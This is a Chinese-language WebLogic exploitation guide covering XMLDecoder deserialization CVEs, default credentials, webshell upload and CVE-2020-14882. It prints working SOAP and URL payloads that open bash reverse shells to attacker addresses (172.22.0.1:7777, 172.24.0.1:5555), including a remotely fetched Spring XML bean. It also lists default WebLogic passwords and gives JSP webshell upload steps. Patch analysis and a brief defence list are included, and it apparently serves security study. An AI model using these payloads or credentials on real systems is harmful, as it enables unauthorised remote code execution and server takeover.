Java安全之Weblogic漏洞分析与利用(下)
字数 1573 2025-08-24 07:48:10
WebLogic漏洞分析与利用全面指南
1. WebLogic简介
Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等应用服务器。
2. 基于XML反序列化漏洞
2.1 前置知识
XMLDecoder
- 用于读取使用XMLEncoder创建的XML文档
- 使用方式类似于ObjectInputStream
- 关键方法:
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml"))); Object result = d.readObject(); d.close();
XMLEncoder
- ObjectOutputStream的补充替代方案
- 可用于生成JavaBean的文本表示
- 示例:
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("Test.xml"))); e.writeObject(new JButton("Hello, world")); e.close();
2.2 XMLDecoder反序列化测试
测试POC:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd</string></void>
<void index="1"><string>/C</string></void>
<void index="2"><string>calc</string></void>
</array>
<void method="start"/></void>
</java>
解析流程分析:
- 解析
<void class="java.lang.ProcessBuilder">时创建VoidElementHandler对象 - 解析
<array>标签创建数组 - 解析
<string>标签及其内容 - 解析
<void method="start"/>触发命令执行
关键调用栈:
XMLDecoder.readObject()DocumentHandler.parse()ObjectElementHandler.getValueObject()Expression.getValue()触发ProcessBuilder.start()
2.3 CVE-2017-3506分析
影响版本:
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.0-12.2.1.2
受影响URI:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
补丁分析:
补丁添加了黑名单过滤object标签:
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
2.4 CVE-2017-10271分析
环境搭建:
修改docker-compose.yml添加8453端口映射用于调试
复现POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/172.22.0.1/7777 0 >& 1</string></void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞分析:
- 请求通过WorkContextServerTube.processRequest处理
- 调用WorkContextXmlInputAdapter.readUTF()
- 最终调用XMLDecoder.readObject()触发反序列化
补丁分析:
扩展了黑名单过滤:
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
}
2.5 CVE-2019-2725分析
影响版本:
- WebLogic 10.X
- WebLogic 12.1.3
受影响URI:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
复现POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/172.22.0.1/7777 0 >& 1</string></void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
补丁分析:
- 禁止了class元素
- 限制了array元素的长度
3. 其他漏洞
3.1 弱口令漏洞
常见默认凭证:
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/Oracle@123
利用步骤:
- 访问
/console/login/LoginForm.jsp - 使用弱口令登录
- 进入"部署->安装"上传WAR包
- 访问上传的WAR包中的JSP木马
密码文件位置:
SerializedSystemIni.datconfig.xml(包含加密密码)
3.2 未授权访问漏洞
3.2.1 CVE-2018-2894
利用步骤:
- 登录后台启用"Web服务测试页"
- 访问
config.do设置上传目录为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css - 上传JSP文件,访问时间戳+文件名形式的URL
或通过begin.do上传:
- 访问
/ws_utc/begin.do - 上传JSP文件
- 从响应中获取文件名访问
3.2.2 CVE-2020-14882
未授权访问URL:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
命令执行POC:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/CVE-2020-14882%27);%22);
反弹Shell方法:
- 创建XML文件:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value> </list> </constructor-arg> </bean> </beans> - 访问URL触发:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")
4. 防御建议
- 及时安装官方安全补丁
- 修改默认密码,使用强密码策略
- 限制管理控制台的访问IP
- 关闭不必要的服务和端口
- 对XML输入进行严格过滤和验证
- 定期进行安全审计和漏洞扫描